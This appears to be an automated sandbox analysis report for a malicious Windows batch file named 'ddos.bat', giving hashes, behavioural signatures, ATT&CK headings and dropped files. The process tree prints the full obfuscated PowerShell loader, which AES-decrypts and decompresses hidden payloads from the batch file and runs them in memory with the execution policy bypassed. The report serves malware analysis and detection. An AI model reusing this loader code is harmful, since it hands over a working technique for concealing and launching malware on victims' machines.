6ad553540149c82ab1ac85d37944e06ee9826c834c8388eb72cfd5f480525ceb

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
19/04/2023, 12:48

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General

Target

ddos.bat
Size

13.6MB
MD5

c9a6186fbe27904439dc86cbb5b99b63
SHA1

c0db0f28d1e9b501b9d4895c81afc75e13cb0774
SHA256

6ad553540149c82ab1ac85d37944e06ee9826c834c8388eb72cfd5f480525ceb
SHA512

65c1daaccb653427e01ba3e047465c443ca1b69dd644868f84ba50e86227039076f531208d3025d835660fe3230fbb3f114438a79183e6dc83dcdb935d96d185
SSDEEP

49152:D93mbEKzzOk10PbxBNOXT3mnDG6xlobNZ+hsoO0BrxYUpnkKILeAaco6s0Xy/Kcy:A

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
528	ddos.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1204	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
528	ddos.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	528	ddos.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 528	1204	cmd.exe	29
PID 1204 wrote to memory of 528	1204	cmd.exe	29
PID 1204 wrote to memory of 528	1204	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ddos.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Users\Admin\AppData\Local\Temp\ddos.bat.exe
  "ddos.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function FpkiB($YdHmF){ $GvRDH=[System.Security.Cryptography.Aes]::Create(); $GvRDH.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GvRDH.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GvRDH.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yb/sQnv1LYw7DPhrH9M2+a0n2ERdGkY1aWnaG8wqSw4='); $GvRDH.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('N56ByYz40xgwZvoDoOHriw=='); $msECO=$GvRDH.CreateDecryptor(); $return_var=$msECO.TransformFinalBlock($YdHmF, 0, $YdHmF.Length); $msECO.Dispose(); $GvRDH.Dispose(); $return_var;}function VAOuS($YdHmF){ $lunUV=New-Object System.IO.MemoryStream(,$YdHmF); $uJPUk=New-Object System.IO.MemoryStream; $GLVci=New-Object System.IO.Compression.GZipStream($lunUV, [IO.Compression.CompressionMode]::Decompress); $GLVci.CopyTo($uJPUk); $GLVci.Dispose(); $lunUV.Dispose(); $uJPUk.Dispose(); $uJPUk.ToArray();}function tZCne($YdHmF,$PVnCP){ $OStcp=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YdHmF); $JGYEu=$OStcp.EntryPoint; $JGYEu.Invoke($null, $PVnCP);}$tUkTR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ddos.bat').Split([Environment]::NewLine);foreach ($kUNVs in $tUkTR) { if ($kUNVs.StartsWith(':: ')) { $hzQqb=$kUNVs.Substring(3); break; }}$FvIAX=[string[]]$hzQqb.Split('\');$qcDov=VAOuS (FpkiB ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FvIAX[0])));$Lxsns=VAOuS (FpkiB ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($FvIAX[1])));tZCne $Lxsns (,[string[]] (''));tZCne $qcDov (,[string[]] (''));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:528

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ddos.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\ddos.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/528-59-0x000000001B060000-0x000000001B342000-memory.dmp

Filesize
2.9MB

Download
memory/528-60-0x0000000001E40000-0x0000000001E48000-memory.dmp

Filesize
32KB

Download
memory/528-61-0x0000000002774000-0x0000000002777000-memory.dmp

Filesize
12KB

Download
memory/528-62-0x000000000277B000-0x00000000027B2000-memory.dmp

Filesize
220KB

Download